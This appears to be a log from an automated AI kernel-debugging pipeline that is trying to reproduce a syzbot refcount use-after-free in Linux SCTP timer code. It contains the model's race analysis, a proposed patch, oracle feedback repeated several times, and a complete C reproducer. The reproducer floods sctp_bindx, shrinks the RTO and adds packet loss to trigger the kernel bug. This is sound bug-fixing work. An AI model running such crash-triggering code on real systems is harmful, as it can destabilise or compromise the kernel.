This race is most likely to occur when the timer is scheduled with a *very short timeout*, specifically 0. This reinforces my current focus on whether `rto` can indeed be 0 in the relevant scenarios, as that would make the timer fire immediately and dramatically increase the probability of hitting this narrow window.

map[ContextFile:net/sctp/socket.c Name:sctp_setsockopt_rtoinfo]

map[SourceCode:3074:	/*
3075:	 *
3076:	 * 7.1.1 SCTP_RTOINFO
3077:	 *
3078:	 * The protocol parameters used to initialize and bound retransmission
3079:	 * timeout (RTO) are tunable. sctp_rtoinfo structure is used to access
3080:	 * and modify these parameters.
3081:	 * All parameters are time values, in milliseconds.  A value of 0, when
3082:	 * modifying the parameters, indicates that the current value should not
3083:	 * be changed.
3084:	 *
3085:	 */
3086:	static int sctp_setsockopt_rtoinfo(struct sock *sk,
3087:					   struct sctp_rtoinfo *rtoinfo,
3088:					   unsigned int optlen)
3089:	{
3090:		struct sctp_association *asoc;
3091:		unsigned long rto_min, rto_max;
3092:		struct sctp_sock *sp = sctp_sk(sk);
3093:	
3094:		if (optlen != sizeof (struct sctp_rtoinfo))
3095:			return -EINVAL;
3096:	
3097:		asoc = sctp_id2assoc(sk, rtoinfo->srto_assoc_id);
3098:	
3099:		/* Set the values to the specific association */
3100:		if (!asoc && rtoinfo->srto_assoc_id != SCTP_FUTURE_ASSOC &&
3101:		    sctp_style(sk, UDP))
3102:			return -EINVAL;
3103:	
3104:		rto_max = rtoinfo->srto_max;
3105:		rto_min = rtoinfo->srto_min;
3106:	
3107:		if (rto_max)
3108:			rto_max = asoc ? msecs_to_jiffies(rto_max) : rto_max;
3109:		else
3110:			rto_max = asoc ? asoc->rto_max : sp->rtoinfo.srto_max;
3111:	
3112:		if (rto_min)
3113:			rto_min = asoc ? msecs_to_jiffies(rto_min) : rto_min;
3114:		else
3115:			rto_min = asoc ? asoc->rto_min : sp->rtoinfo.srto_min;
3116:	
3117:		if (rto_min > rto_max)
3118:			return -EINVAL;
3119:	
3120:		if (asoc) {
3121:			if (rtoinfo->srto_initial != 0)
3122:				asoc->rto_initial =
3123:					msecs_to_jiffies(rtoinfo->srto_initial);
3124:			asoc->rto_max = rto_max;
3125:			asoc->rto_min = rto_min;
3126:		} else {
3127:			/* If there is no association or the association-id = 0
3128:			 * set the values to the endpoint.
3129:			 */
3130:			if (rtoinfo->srto_initial != 0)
3131:				sp->rtoinfo.srto_initial = rtoinfo->srto_initial;
3132:			sp->rtoinfo.srto_max = rto_max;
3133:			sp->rtoinfo.srto_min = rto_min;
3134:		}
3135:	
3136:		return 0;
3137:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 220508
							output: 740
							thoughts: 2216
						

**My Thoughts on the SCTP Timer Race Condition**

Alright, let me walk through my thought process here. I've been digging into this SCTP timer behavior, and it's been a bit of a puzzle, especially concerning `rto_min` and how timers are managed.

Initially, I encountered the note: "A value of 0, when modifying the parameters, indicates that the current value should not be changed." This immediately flagged something for me. It means `rto_min` absolutely *cannot* be set to 0. If `rtoinfo->srto_min` happens to be 0, the system will just use the existing `asoc->rto_min` value. Therefore, `rto_min` must strictly be greater than 0. This also implies that a timer simply cannot be scheduled with a 0 timeout, which makes intuitive sense for preventing immediate firing or undefined behavior.

Then, I started considering a specific scenario: could `T2_SHUTDOWN` be the culprit, perhaps triggered by duplicate `COOKIE_ECHO` packets? If `T2_SHUTDOWN` is scheduled with `rto_initial`, which is at least 1 second, and we were to flood the socket with duplicate `COOKIE_ECHO` chunks, we'd be calling `SCTP_CMD_TIMER_START` thousands of times per second. My initial thought was that this constant barrage could eventually lead to a race condition where one of these calls hits precisely when the timer expires. This felt like a classic race condition that fuzzing tools like syzbot are adept at finding over extended periods. The syzbot reproducer might simply be doing something that causes `SCTP_CMD_TIMER_START` to be invoked repeatedly.

I then looked at the syzbot reproducer itself. It uses `BINDX_ADD` and `BINDX_REM`. My next question was: does `BINDX_ADD` indeed trigger `SCTP_CMD_TIMER_START` repeatedly? If `BINDX_ADD` is called, it sends an `ASCONF` chunk. Sending an `ASCONF` chunk initiates the `T4_RTO` timer. Similarly, `BINDX_REM` also sends an `ASCONF`.

However, I then recalled an important detail within `sctp_send_asconf`: it QUEUES the chunk if `addip_last_asconf` is *not* NULL. This means it does *not* directly call `sctp_primitive_ASCONF`. Consequently, it doesn't trigger `SCTP_CMD_TIMER_START` repeatedly. It only triggers it *once* when the initial `ASCONF` is sent. It then waits for an `ASCONF_ACK`. Upon receiving the `ASCONF_ACK`, it sends the next one, triggering `SCTP_CMD_TIMER_START` just *once* again. So, this specific `BINDX_ADD` and `BINDX_REM` sequence, as implemented, doesn't seem to flood `SCTP_CMD_TIMER_START`.

This led me back to the fundamental question: if not through flooding `SCTP_CMD_TIMER_START` via `BINDX_ADD/REM`, how did syzbot manage to hit this race condition? I started scrutinizing `sctp_cmd_interpreter` again.

```c
		case SCTP_CMD_TIMER_START:
			timer = &asoc->timers[cmd->obj.to];
			timeout = asoc->timeouts[cmd->obj.to];
			BUG_ON(!timeout);

			if (!timer_pending(timer))
				sctp_association_hold(asoc);
			timer_reduce(timer, jiffies + timeout);
			break;
```

I thought, "What if `timer_pending` returns `TRUE`, but `timer_reduce` returns 0?" This situation would mean we *didn't* hold the association, even though the timer was already considered pending. If `timer_pending` returns `TRUE`, we skip `sctp_association_hold(asoc)`. Then, we call `timer_reduce`. If `timer_reduce` returns 0, it signifies that the timer was *not* pending. This can only happen if the timer fired and was dequeued between the `timer_pending` check and the `timer_reduce` call. I initially dismissed this as a tiny window. But could there be *any other* reason for `timer_pending` to return `TRUE` while `timer_reduce` returns 0?

I delved deeper into the timer functions. `timer_pending` checks `timer->entry.pprev`. `timer_reduce` internally uses `__mod_timer`. If `timer_pending` is true, `__mod_timer` will lock the base, check `timer_pending` again. If it's still true, it modifies the timer and returns 1. If it's false (because it fired), it enqueues the timer and returns 0. So, yes, the only way `timer_reduce` returns 0 is if the timer was *not* pending.

But then I had an "aha!" moment. I re-read the `timer_reduce` documentation: "timer_reduce() is very similar to mod_timer(), except that it will only modify an enqueued timer if that would reduce the expiration time." This is crucial. If the timer *is* already pending, and the new timeout we're trying to set is *later* than its current expiration time, `timer_reduce` will do *nothing* and return 1. In this case, the timer remains pending with its original, earlier expiration time, and when it fires, it correctly puts the association. This is perfectly fine.

Conversely, if `timer_pending` returns `FALSE`, we correctly call `sctp_association_hold(asoc)`. Then, `timer_reduce` enqueues the timer and returns 0. This is also perfectly fine.

So, the *only* scenario leading to the bug is that razor-thin window where the timer fires and is dequeued *between* the `timer_pending` check and the `timer_reduce` call. My initial thought that syzbot can hit tiny windows by running programs in tight loops for hours holds true. However, the syzbot reproducer itself failed to trigger the crash in my tests (`Reproduced: false`). This suggests either the race is indeed very hard to hit reliably with the provided reproducer, or the reproducer is missing some specific timing or flooding conditions that are essential to trigger it consistently.

Therefore, the core issue is a use-after-free of the SCTP association due to a reference count underflow. This happens within `SCTP_CMD_TIMER_START` in `sctp_cmd_interpreter`. The code checks `!timer_pending(timer)` and *only* calls `sctp_association_hold(asoc)` if it's not pending. If the timer expires and is dequeued *exactly* between this check and the `timer_reduce` call, `timer_reduce` will re-enqueue the timer. Since `sctp_association_hold` was skipped, this newly enqueued timer doesn't have a corresponding reference count increment. When this timer eventually fires, its callback calls `sctp_association_put(asoc)`, dropping a reference that was never taken, leading to a premature refcount drop to 0.

This race is exacerbated when `SCTP_CMD_TIMER_START` is called for an already pending timer. For instance, in the `SHUTDOWN_SENT` state, if a duplicate `COOKIE_ECHO` arrives, `sctp_sf_do_dupcook_a` calls `sctp_sf_do_9_2_start_shutdown`, which attempts to start `T2_SHUTDOWN` using `SCTP_CMD_TIMER_START`. The same race can occur with `T4_RTO` during ASCONF operations if the timer expires precisely as a new ASCONF is being queued.

The elegant fix, based on the behavior of `timer_reduce`, is to rely on its return value. `timer_reduce` returns 0 if it successfully started a non-pending timer. So, the corrected logic should be:

```c
			case SCTP_CMD_TIMER_START:
				timer = &asoc->timers[cmd->obj.to];
				timeout = asoc->timeouts[cmd->obj.to];
				BUG_ON(!timeout);

				// If timer_reduce returns 0, it means the timer was not pending and was started.
				// In this case, we MUST hold the association.
				if (!timer_reduce(timer, jiffies + timeout))
					sctp_association_hold(asoc);
				break;
```
This completely eliminates the race because `timer_reduce` atomically checks the timer state and enqueues it, returning 0 only when it actually starts a timer that wasn't pending.

Since the reproducer failed, it reinforces the idea that the race window is incredibly small – perhaps just a few CPU instructions between `timer_pending` and `timer_reduce`. A C reproducer would need to achieve near-perfect alignment of the timer expiration with the execution of `SCTP_CMD_TIMER_START`, which is highly non-deterministic and difficult without kernel-level fault injection or extreme flooding scenarios that aren't present in the simple reproducer.

Therefore, my feedback will detail this race condition, explain the fix using `timer_reduce`'s return value, and address why the provided reproducer might not be consistently triggering the bug. I will set `TitleMatches` to true, as it's the same underlying bug, even if the reproducer didn't show the crash. `ProbePassed` will be false, as it wasn't a probe.

map[Feedback:The reproduction attempt failed to trigger the crash because the bug is caused by an extremely tight race condition in `sctp_cmd_interpreter` that is highly non-deterministic and difficult to hit reliably in a short C reproducer.

The root cause is a reference count leak (underflow) leading to a use-after-free of the SCTP association. In `net/sctp/sm_sideeffect.c`, the `SCTP_CMD_TIMER_START` command is processed as follows:

```c
case SCTP_CMD_TIMER_START:
    timer = &asoc->timers[cmd->obj.to];
    timeout = asoc->timeouts[cmd->obj.to];
    BUG_ON(!timeout);

    if (!timer_pending(timer))
        sctp_association_hold(asoc);
    timer_reduce(timer, jiffies + timeout);
    break;
```

The code checks `timer_pending(timer)` to determine if the timer is already running. If it returns `true`, it assumes the timer already holds a reference to the association and skips `sctp_association_hold(asoc)`. 

However, if the timer expires and is dequeued by the timer softirq EXACTLY in the tiny window between the `timer_pending(timer)` check and the `timer_reduce(...)` call, `timer_reduce` will re-enqueue the timer (since it is no longer pending). Because `sctp_association_hold(asoc)` was skipped, the newly enqueued timer does NOT have a corresponding reference count increment.

When this timer eventually expires, its callback (`sctp_generate_timeout_event`) will call `sctp_association_put(asoc)`, dropping a reference that was never taken. This causes the association's refcount to drop to 0 prematurely. Later, when the timer callback reschedules itself (e.g., because `sock_owned_by_user(sk)` is true), it calls `sctp_association_hold(asoc)` on a 0-refcount object, triggering the `refcount_t: addition on 0; use-after-free` warning.

This race can be triggered when `SCTP_CMD_TIMER_START` is executed for a timer that is already pending (e.g., `T2_SHUTDOWN` when receiving a duplicate `COOKIE_ECHO` in `SHUTDOWN_SENT` state, or `T4_RTO` during concurrent ASCONF operations).

To fix this bug, the code must rely on the atomic return value of `timer_reduce()` (which returns 0 if the timer was inactive and started, and 1 if it was active). The correct logic is:

```c
    if (!timer_reduce(timer, jiffies + timeout))
        sctp_association_hold(asoc);
```

To improve the reproducer, you would need to flood the socket with events that trigger `SCTP_CMD_TIMER_START` on an already pending timer (e.g., flooding duplicate `COOKIE_ECHO` chunks while in `SHUTDOWN_SENT` state) to increase the probability of hitting the instruction-level race window with the timer expiration. ProbePassed:false TerminalError: TitleMatches:true]

map[Feedback:The reproduction attempt failed to trigger the crash because the bug is caused by an extremely tight race condition in `sctp_cmd_interpreter` that is highly non-deterministic and difficult to hit reliably in a short C reproducer.

The root cause is a reference count leak (underflow) leading to a use-after-free of the SCTP association. In `net/sctp/sm_sideeffect.c`, the `SCTP_CMD_TIMER_START` command is processed as follows:

```c
case SCTP_CMD_TIMER_START:
    timer = &asoc->timers[cmd->obj.to];
    timeout = asoc->timeouts[cmd->obj.to];
    BUG_ON(!timeout);

    if (!timer_pending(timer))
        sctp_association_hold(asoc);
    timer_reduce(timer, jiffies + timeout);
    break;
```

The code checks `timer_pending(timer)` to determine if the timer is already running. If it returns `true`, it assumes the timer already holds a reference to the association and skips `sctp_association_hold(asoc)`. 

However, if the timer expires and is dequeued by the timer softirq EXACTLY in the tiny window between the `timer_pending(timer)` check and the `timer_reduce(...)` call, `timer_reduce` will re-enqueue the timer (since it is no longer pending). Because `sctp_association_hold(asoc)` was skipped, the newly enqueued timer does NOT have a corresponding reference count increment.

When this timer eventually expires, its callback (`sctp_generate_timeout_event`) will call `sctp_association_put(asoc)`, dropping a reference that was never taken. This causes the association's refcount to drop to 0 prematurely. Later, when the timer callback reschedules itself (e.g., because `sock_owned_by_user(sk)` is true), it calls `sctp_association_hold(asoc)` on a 0-refcount object, triggering the `refcount_t: addition on 0; use-after-free` warning.

This race can be triggered when `SCTP_CMD_TIMER_START` is executed for a timer that is already pending (e.g., `T2_SHUTDOWN` when receiving a duplicate `COOKIE_ECHO` in `SHUTDOWN_SENT` state, or `T4_RTO` during concurrent ASCONF operations).

To fix this bug, the code must rely on the atomic return value of `timer_reduce()` (which returns 0 if the timer was inactive and started, and 1 if it was active). The correct logic is:

```c
    if (!timer_reduce(timer, jiffies + timeout))
        sctp_association_hold(asoc);
```

To improve the reproducer, you would need to flood the socket with events that trigger `SCTP_CMD_TIMER_START` on an already pending timer (e.g., flooding duplicate `COOKIE_ECHO` chunks while in `SHUTDOWN_SENT` state) to increase the probability of hitting the instruction-level race window with the timer expiration. ProbePassed:false TerminalError: TitleMatches:true]

map[CapabilitiesVerified:true ContinueSignal:continue EquivalenceAnalysis: OracleFeedback:The reproduction attempt failed to trigger the crash because the bug is caused by an extremely tight race condition in `sctp_cmd_interpreter` that is highly non-deterministic and difficult to hit reliably in a short C reproducer.

The root cause is a reference count leak (underflow) leading to a use-after-free of the SCTP association. In `net/sctp/sm_sideeffect.c`, the `SCTP_CMD_TIMER_START` command is processed as follows:

```c
case SCTP_CMD_TIMER_START:
    timer = &asoc->timers[cmd->obj.to];
    timeout = asoc->timeouts[cmd->obj.to];
    BUG_ON(!timeout);

    if (!timer_pending(timer))
        sctp_association_hold(asoc);
    timer_reduce(timer, jiffies + timeout);
    break;
```

The code checks `timer_pending(timer)` to determine if the timer is already running. If it returns `true`, it assumes the timer already holds a reference to the association and skips `sctp_association_hold(asoc)`. 

However, if the timer expires and is dequeued by the timer softirq EXACTLY in the tiny window between the `timer_pending(timer)` check and the `timer_reduce(...)` call, `timer_reduce` will re-enqueue the timer (since it is no longer pending). Because `sctp_association_hold(asoc)` was skipped, the newly enqueued timer does NOT have a corresponding reference count increment.

When this timer eventually expires, its callback (`sctp_generate_timeout_event`) will call `sctp_association_put(asoc)`, dropping a reference that was never taken. This causes the association's refcount to drop to 0 prematurely. Later, when the timer callback reschedules itself (e.g., because `sock_owned_by_user(sk)` is true), it calls `sctp_association_hold(asoc)` on a 0-refcount object, triggering the `refcount_t: addition on 0; use-after-free` warning.

This race can be triggered when `SCTP_CMD_TIMER_START` is executed for a timer that is already pending (e.g., `T2_SHUTDOWN` when receiving a duplicate `COOKIE_ECHO` in `SHUTDOWN_SENT` state, or `T4_RTO` during concurrent ASCONF operations).

To fix this bug, the code must rely on the atomic return value of `timer_reduce()` (which returns 0 if the timer was inactive and started, and 1 if it was active). The correct logic is:

```c
    if (!timer_reduce(timer, jiffies + timeout))
        sctp_association_hold(asoc);
```

To improve the reproducer, you would need to flood the socket with events that trigger `SCTP_CMD_TIMER_START` on an already pending timer (e.g., flooding duplicate `COOKIE_ECHO` chunks while in `SHUTDOWN_SENT` state) to increase the probability of hitting the instruction-level race window with the timer expiration. ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]

map[OracleFeedback:The reproduction attempt failed to trigger the crash because the bug is caused by an extremely tight race condition in `sctp_cmd_interpreter` that is highly non-deterministic and difficult to hit reliably in a short C reproducer.

The root cause is a reference count leak (underflow) leading to a use-after-free of the SCTP association. In `net/sctp/sm_sideeffect.c`, the `SCTP_CMD_TIMER_START` command is processed as follows:

```c
case SCTP_CMD_TIMER_START:
    timer = &asoc->timers[cmd->obj.to];
    timeout = asoc->timeouts[cmd->obj.to];
    BUG_ON(!timeout);

    if (!timer_pending(timer))
        sctp_association_hold(asoc);
    timer_reduce(timer, jiffies + timeout);
    break;
```

The code checks `timer_pending(timer)` to determine if the timer is already running. If it returns `true`, it assumes the timer already holds a reference to the association and skips `sctp_association_hold(asoc)`. 

However, if the timer expires and is dequeued by the timer softirq EXACTLY in the tiny window between the `timer_pending(timer)` check and the `timer_reduce(...)` call, `timer_reduce` will re-enqueue the timer (since it is no longer pending). Because `sctp_association_hold(asoc)` was skipped, the newly enqueued timer does NOT have a corresponding reference count increment.

When this timer eventually expires, its callback (`sctp_generate_timeout_event`) will call `sctp_association_put(asoc)`, dropping a reference that was never taken. This causes the association's refcount to drop to 0 prematurely. Later, when the timer callback reschedules itself (e.g., because `sock_owned_by_user(sk)` is true), it calls `sctp_association_hold(asoc)` on a 0-refcount object, triggering the `refcount_t: addition on 0; use-after-free` warning.

This race can be triggered when `SCTP_CMD_TIMER_START` is executed for a timer that is already pending (e.g., `T2_SHUTDOWN` when receiving a duplicate `COOKIE_ECHO` in `SHUTDOWN_SENT` state, or `T4_RTO` during concurrent ASCONF operations).

To fix this bug, the code must rely on the atomic return value of `timer_reduce()` (which returns 0 if the timer was inactive and started, and 1 if it was active). The correct logic is:

```c
    if (!timer_reduce(timer, jiffies + timeout))
        sctp_association_hold(asoc);
```

To improve the reproducer, you would need to flood the socket with events that trigger `SCTP_CMD_TIMER_START` on an already pending timer (e.g., flooding duplicate `COOKIE_ECHO` chunks while in `SHUTDOWN_SENT` state) to increase the probability of hitting the instruction-level race window with the timer expiration.]

deep-reasoning

You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Analyze the technical diagnosis provided in the oracle feedback and translate it into concrete,
step-by-step instructions for the repro-generator on how to modify the code structure, alignments,
offsets, or parameters of the candidate program.

=== TOOL SELECTION GUIDELINES ===
- Prefer codesearch-definition-source and codesearch-struct-layout first for symbol lookups.
- Fall back to read-file or grepper for macros, headers, or if symbol lookup fails.

=== CRITICAL PROHIBITIONS ===
- Do NOT repeat searches for the same symbols or files. Use information you have already gathered.
- Do NOT write long explanations. Keep your reasoning short and focused on actionable changes.
- Do NOT assume a bug is fixed based on git commit history.
- If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.

Bug Description: WARNING: refcount bug in sctp_generate_timeout_event

------------[ cut here ]------------
refcount_t: addition on 0; use-after-free.
WARNING: lib/refcount.c:25 at refcount_warn_saturate+0x9f/0x110 lib/refcount.c:25, CPU#1: syz.0.2220/13955
Modules linked in:
CPU: 1 UID: 0 PID: 13955 Comm: syz.0.2220 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
RIP: 0010:refcount_warn_saturate+0x9f/0x110 lib/refcount.c:25
Code: eb 66 85 db 74 3e 83 fb 01 75 4c e8 6b d2 e9 fc 48 8d 3d f4 46 a7 0b 67 48 0f b9 3a eb 4a e8 58 d2 e9 fc 48 8d 3d f1 46 a7 0b <67> 48 0f b9 3a eb 37 e8 45 d2 e9 fc 48 8d 3d ee 46 a7 0b 67 48 0f
RSP: 0018:ffffc90000a18c28 EFLAGS: 00010246
RAX: ffffffff84dde548 RBX: 0000000000000002 RCX: ffff88807715be80
RDX: 0000000000000100 RSI: 0000000000000100 RDI: ffffffff90852c40
RBP: 0000000000000000 R08: ffff88807715be80 R09: 0000000000000005
R10: 0000000000000004 R11: 0000000000000100 R12: dffffc0000000000
R13: 0000000000000001 R14: ffff888020fde004 R15: ffff888020fde640
FS:  00007f4a87be06c0(0000) GS:ffff888124dda000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ff55dd92eb8 CR3: 000000005800b000 CR4: 0000000000350ef0
Call Trace:
 <IRQ>
 sctp_generate_timeout_event+0x1c8/0x390 net/sctp/sm_sideeffect.c:284
 call_timer_fn+0x18d/0x5f0 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2374 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2386
 run_timer_base kernel/time/timer.c:2395 [inline]
 run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2405
 handle_softirqs+0x226/0x860 kernel/softirq.c:645
 __do_softirq kernel/softirq.c:679 [inline]
 invoke_softirq kernel/softirq.c:519 [inline]
 __irq_exit_rcu+0xcb/0x220 kernel/softirq.c:767
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:784
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1062 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1062
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:674
RIP: 0010:lock_acquire+0x232/0x350 kernel/locking/lockdep.c:5913
Code: ff ff ff e8 a0 a9 40 0a f7 44 24 10 00 02 00 00 0f 84 38 ff ff ff 65 48 8b 05 f2 44 f1 11 48 3b 44 24 50 75 33 fb 48 83 c4 58 <5b> 41 5c 41 5d 41 5e 41 5f 5d e9 ba 25 6d ff cc 48 8d 3d 77 31 da
RSP: 0018:ffffc9000dabfac8 EFLAGS: 00000282
RAX: b29753db72d85c00 RBX: 0000000000000001 RCX: 8000000000000001
RDX: 00000000b866b3b2 RSI: ffffffff8e6fc28f RDI: ffffffff8c6d9380
RBP: ffff88807715be80 R08: 8c00000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: ffff888066f6e418 R12: ffff888066f6e418
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000246
 __raw_spin_lock include/linux/spinlock_api_smp.h:190 [inline]
 _raw_spin_lock+0x2e/0x40 kernel/locking/spinlock.c:173
 spin_lock include/linux/spinlock.h:347 [inline]
 __io_cq_lock io_uring/io_uring.c:484 [inline]
 __io_submit_flush_completions+0x85/0x10d0 io_uring/io_uring.c:1133
 io_submit_flush_completions io_uring/io_uring.h:253 [inline]
 io_submit_state_end io_uring/io_uring.c:1939 [inline]
 io_submit_sqes+0x1cec/0x2310 io_uring/io_uring.c:2063
 __do_sys_io_uring_enter io_uring/io_uring.c:2637 [inline]
 __se_sys_io_uring_enter+0x35b/0x1bb0 io_uring/io_uring.c:2586
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f4a86d9e159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f4a87bdff38 EFLAGS: 00000246 ORIG_RAX: 00000000000001aa
RAX: ffffffffffffffda RBX: 0000200000000340 RCX: 00007f4a86d9e159
RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000009
RBP: 0000000000000a12 R08: 0000000000000000 R09: 0000000000000008
R10: 0000000000000000 R11: 0000000000000246 R12: 0000200000000940
R13: 0000200000000948 R14: 0000000000000e26 R15: 0000000000000002
 </TASK>
----------------
Code disassembly (best guess):
   0:	eb 66                	jmp    0x68
   2:	85 db                	test   %ebx,%ebx
   4:	74 3e                	je     0x44
   6:	83 fb 01             	cmp    $0x1,%ebx
   9:	75 4c                	jne    0x57
   b:	e8 6b d2 e9 fc       	call   0xfce9d27b
  10:	48 8d 3d f4 46 a7 0b 	lea    0xba746f4(%rip),%rdi        # 0xba7470b
  17:	67 48 0f b9 3a       	ud1    (%edx),%rdi
  1c:	eb 4a                	jmp    0x68
  1e:	e8 58 d2 e9 fc       	call   0xfce9d27b
  23:	48 8d 3d f1 46 a7 0b 	lea    0xba746f1(%rip),%rdi        # 0xba7471b
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	eb 37                	jmp    0x68
  31:	e8 45 d2 e9 fc       	call   0xfce9d27b
  36:	48 8d 3d ee 46 a7 0b 	lea    0xba746ee(%rip),%rdi        # 0xba7472b
  3d:	67                   	addr32
  3e:	48                   	rex.W
  3f:	0f                   	.byte 0xf

Current Strategy: An analysis of the SCTP timer handling code confirms the TOCTOU race condition in `sctp_cmd_interpreter()` when processing `SCTP_CMD_TIMER_START`. The race occurs because the check `timer_pending(timer)` and the subsequent `timer_reduce(timer, ...)` are not atomic. 

If the timer fires exactly between the `timer_pending()` check (which returned `true`, skipping `sctp_association_hold`) and the `timer_reduce()` call, the timer is dequeued by the timer core (becoming non-pending). When `timer_reduce()` is subsequently called, it sees that the timer is inactive and starts it again. Because the reference hold was skipped, the timer is enqueued without holding a reference to the association, leading to a refcount underflow when the timer eventually fires and calls `sctp_association_put()`.

To reproduce this, we will use the `T4_RTO` timer, which is started when sending ASCONF chunks. We can trigger it rapidly from user space by calling `sctp_bindx` in a loop. By setting the `SCTP_RTOINFO` socket option to very small values (e.g., 10ms) and introducing artificial packet loss on the loopback interface using `tc qdisc`, we can force the `T4_RTO` timer to expire frequently while new ASCONF chunks are being queued, maximizing the probability of hitting the race window.

Here is the complete C reproducer:

```c
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>

void *thread_func(void *arg) {
    int fd = *(int *)arg;
    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.2");

    /* Spam ASCONF chunks to constantly trigger SCTP_CMD_TIMER_START for T4_RTO */
    while (1) {
        sctp_bindx(fd, (struct sockaddr *)&addr, 1, SCTP_BINDX_ADD_ADDR);
        sctp_bindx(fd, (struct sockaddr *)&addr, 1, SCTP_BINDX_REM_ADDR);
    }
    return NULL;
}

int main() {
    /* Enable ASCONF */
    system("sysctl -w net.sctp.addip_enable=1");
    system("sysctl -w net.sctp.addip_noauth_enable=1");
    
    /* Introduce packet loss to force T4_RTO timer expirations */
    system("tc qdisc add dev lo root netem loss 50%");

    int server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (server_fd < 0) {
        perror("socket");
        return 1;
    }

    /* Set RTO to minimum to make the timer fire rapidly */
    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 10;
    rtoinfo.srto_min = 10;
    rtoinfo.srto_max = 10;
    setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo));

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    bind(server_fd, (struct sockaddr *)&addr, sizeof(addr));
    listen(server_fd, 10);

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    setsockopt(client_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo));
    
    /* Start threads to spam ASCONF chunks concurrently */
    pthread_t th1, th2;
    pthread_create(&th1, NULL, thread_func, &client_fd);
    pthread_create(&th2, NULL, thread_func, &client_fd);

    /* Connect to the server to establish the association */
    connect(client_fd, (struct sockaddr *)&addr, sizeof(addr));

    /* Let the race run for a few seconds */
    sleep(10);
    
    /* Cleanup */
    system("tc qdisc del dev lo root");
    return 0;
}
```
Feedback: The reproduction attempt failed to trigger the crash because the bug is caused by an extremely tight race condition in `sctp_cmd_interpreter` that is highly non-deterministic and difficult to hit reliably in a short C reproducer.

The root cause is a reference count leak (underflow) leading to a use-after-free of the SCTP association. In `net/sctp/sm_sideeffect.c`, the `SCTP_CMD_TIMER_START` command is processed as follows:

```c
case SCTP_CMD_TIMER_START:
    timer = &asoc->timers[cmd->obj.to];
    timeout = asoc->timeouts[cmd->obj.to];
    BUG_ON(!timeout);

    if (!timer_pending(timer))
        sctp_association_hold(asoc);
    timer_reduce(timer, jiffies + timeout);
    break;
```

The code checks `timer_pending(timer)` to determine if the timer is already running. If it returns `true`, it assumes the timer already holds a reference to the association and skips `sctp_association_hold(asoc)`. 

However, if the timer expires and is dequeued by the timer softirq EXACTLY in the tiny window between the `timer_pending(timer)` check and the `timer_reduce(...)` call, `timer_reduce` will re-enqueue the timer (since it is no longer pending). Because `sctp_association_hold(asoc)` was skipped, the newly enqueued timer does NOT have a corresponding reference count increment.

When this timer eventually expires, its callback (`sctp_generate_timeout_event`) will call `sctp_association_put(asoc)`, dropping a reference that was never taken. This causes the association's refcount to drop to 0 prematurely. Later, when the timer callback reschedules itself (e.g., because `sock_owned_by_user(sk)` is true), it calls `sctp_association_hold(asoc)` on a 0-refcount object, triggering the `refcount_t: addition on 0; use-after-free` warning.

This race can be triggered when `SCTP_CMD_TIMER_START` is executed for a timer that is already pending (e.g., `T2_SHUTDOWN` when receiving a duplicate `COOKIE_ECHO` in `SHUTDOWN_SENT` state, or `T4_RTO` during concurrent ASCONF operations).

To fix this bug, the code must rely on the atomic return value of `timer_reduce()` (which returns 0 if the timer was inactive and started, and 1 if it was active). The correct logic is:

```c
    if (!timer_reduce(timer, jiffies + timeout))
        sctp_association_hold(asoc);
```

To improve the reproducer, you would need to flood the socket with events that trigger `SCTP_CMD_TIMER_START` on an already pending timer (e.g., flooding duplicate `COOKIE_ECHO` chunks while in `SHUTDOWN_SENT` state) to increase the probability of hitting the instruction-level race window with the timer expiration.

